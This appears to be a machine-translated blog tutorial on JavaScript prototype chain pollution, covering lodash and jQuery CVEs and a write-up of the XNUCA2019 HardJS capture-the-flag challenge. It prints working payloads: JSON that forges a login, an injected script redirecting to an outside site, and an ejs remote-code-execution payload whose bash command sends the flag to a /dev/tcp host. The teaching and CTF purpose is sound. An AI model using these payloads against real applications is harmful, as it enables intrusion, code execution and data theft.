Node.js Prototype Chain Pollution Vulnerability

Getting started with node.js: http://nodejs.cn/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs
According to the JavaScript part to be mastered in the above instructions, watch the rookie tutorial directly.

Objects and the prototype chain

Everything in JavaScript is an object: strings, numbers, arrays, functions. An object is just a special kind of data. Objects have properties and methods.
You can create an object like this

var person = {
    
    firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};

A JavaScript object is a name:value collection. The properties of the object are expressed in the form of key values.
Object properties can be accessed in two ways

person.lastName;
person["lastName"];

The second method is similar to the dictionary in python or the associative array of php, so the operation that can control the "key name" of the array (object) can set the attribute value of the object, which is also one of the causes of the vulnerability.
A class is an abstraction of an object, and an object is an instance of a class. In JavaScript, the concept of a class is implemented in the form of defining a constructor.

function Person(first, last) {
    
     
this.firstName = first;
this.lastName = last; }

Of course, it also supports Java's class form definition (essentially a syntactic sugar).
The class contains a special method constructor(), which is the constructor of the class. This method is used to create and initialize an object created by the class.
Objects in JavaScript inherit properties and methods from prototype(原型对象)properties . The __proto__property of the object, pointing to the prototype object of the class prototype.
insert image description hereinsert image description here

All objects in JavaScript are instances of Object at the top of the prototype chain.
JavaScript objects have a chain that points to a prototype object. When trying to access a property of an object, it searches not only on the object, but also on the prototype of the object, and the prototype of the object's prototype, and so on, until it finds a property with a matching name or reaches the prototype end of the chain.
insert image description here

Then when the prototype has this property, as long as its subclass instance does not define the property with the same name, it will inherit this property directly, just like the surname.
The prototype chain pollution is to modify the prototype of an object, thereby affecting all objects of the same class, subclass and parent class. It is equivalent to traveling back and changing the name of the ancestor of this surname.
insert image description here

To modify the properties of the prototype, that is, to control the operation of array key-value pairs, there are common merge and clone (merge the object to be operated into an empty object).
insert image description here

Will be __proto__written as key, attempt to pollute fails. In the process of object creation, it __proto__has been parsed into its prototype, and the key names obtained when the merge function traverses are only a, b.
insert image description hereinsert image description here

The JSON format is syntactically identical to the code for creating a JavaScript object, and when converted to a JavaScript object, __proto__it is considered a key name instead of being parsed directly into a prototype, thus preserving the key-value pair.
insert image description here

Lodash module prototype chain pollution

lodash.merge method

Through __proto__pollution, just like the Liezi above. The if judgment here can be bypassed, and finally enter the assignment operation of object [key] = value.
insert image description here

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {
    
    };
console.log("Before whoami: " + a.whoami);
lodash.merge({
    
    }, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

lodash.defaultsDeep method

(CVE-2019-10744) The defaultsDeep function in the Lodash library may be tricked by the payload containing the constructor to add or modify Object.prototype
a.constructor returns a reference to the Object constructor that created the instance object, which I feel is equivalent to the prototype class of this object , and then modify its prototype property
insert image description here

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
    
    
    mergeFn({
    
    }, JSON.parse(payload));
        if (({
    
    })[`a0`] === true) {
    
    
                console.log(`Vulnerable to Prototype Pollution via ${
      
      payload}`);
                    }
                }
check();

payload:{“type”:“test”,“content”:{“prototype”:{“constructor”:{“a”:“b”}}}}

jQuery CVE-2019-11358 Prototype Pollution Vulnerability

jQuery CVE-2019-11358 Prototype Pollution Vulnerability Analysis and Repair Recommendations When the
version is less than 3.4.0

$.extend(true,{
    
    },JSON.parse('{"__proto__":{"aa":"hello"}}')) 

Jquery can use $.extend to merge two dictionaries

Title list [XNUCA2019Qualifier]HardJS

Keywords: nodejs lodash prototype chain pollution
The server is nodejs, and uses the express framework, and the template rendering engine uses ejs.

sudo curl -fsSL https://deb.nodesource.com/setup_17.x |sudo bash -
apt-get install -y nodejs
npm install && npm audit

It can be seen that the dependency lodash has a prototype chain pollution vulnerability, namely CVE-2019-10744.
insert image description here

It can be seen from robots.py that the password of admin is flag.

1. Back-end prototype chain pollution vulnerability

The /get route in server.js is visible. When the number of messages is greater than 5, lodash.defaultsDeep will be called to merge the messages.
insert image description here

The express framework supports parsing the request body according to Content-Type, then send the payload 6 times and then access /get to trigger the prototype chain pollution.
The expected solution is to bypass the login verification and log in to the admin and override the login and userid attributes.
insert image description here

At this point, you can fake the login status

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":{
    
    "login":true,"userid":1}}}}

Except for /static, /login and /register, other routes require auth function for authentication when accessing.
In robot.py, the robot will open the home page/ of the local page, and the 302 jump of auth can be skipped through the above prototype chain pollution, and then the robot will fill in the username and password according to the name of the form and submit it.
Then you need to type an xss on the front end

2. Front-end prototype chain pollution vulnerability

In app.js, the $.extent function is called to merge the data when the front-end obtains the background data.
insert image description here

When using js to generate a template, the hints object is traversed and the attribute key-value pair of the hints object is written into the corresponding li tag.
insert image description here

In index.ejs, the li tag containing the type attribute has a logger in addition to the five written above
insert image description here

By polluting the logger property of the prototype, the content of the logger can be overwritten, resulting in XSS

{
    
    "type":"test","content":{
    
    "__proto__": {
    
    "logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

Just make a html form to simulate login on vps

rce using ejs

In addition to using front-end and back-end combined attacks as above, you can also use only back-end vulnerabilities to exploit ejs for rce.
Here ejs is used to render the template, then res.render('index');start analysis and
view the function definition/node_modules/express/lib/response.js
insert image description here

The function definition that follows this call /node_modules/express/lib/application.js
insert image description here

follow up
insert image description here

Called engine, view the declaration of the default engine exit
insert image description here

Follow up on this __express statement
insert image description here

Check out this renderFile implementation
insert image description here

Finally, the tryHandleCache function is called
insert image description here

Return to the final page after being processed by the handleCache function
insert image description here

handleCache returns a function
insert image description hereinsert image description here

Follow up with compile to see various code splicing
insert image description here

followed by a dynamic function generation
insert image description here

This object is concatenated into this.source along with other generated template strings, then passed to src, followed by fn, then returned as returnedFn and finally executed

global.processRCE bounce shell with
insert image description here

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":
{
    
    "outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

Or echo the flag directly to the page

{
    
    "type":"111","content":{
    
    "constructor":{
    
    "prototype":{
    
    "outputFunctionName":"__append; return process.env.FLAG; __append"}}}}

insert image description hereinsert image description hereinsert image description here

reference:

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/

https://www.wangan.com/p/7fygf7fa6b978b66#lodash.defaultsDeep%E6%96%B9%E6%B3%95%E9%80%A0%E6%88%90%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%EF%BC%88CVE-2019-10744%EF%BC%89
https://www.anquanke.com/post/id/185377#h3-1
http://j0k3r.top/2019/09/10/js_prototype_pollution/#0x02-Hardjs

Guess you like

Origin blog.csdn.net/weixin_43610673/article/details/123171227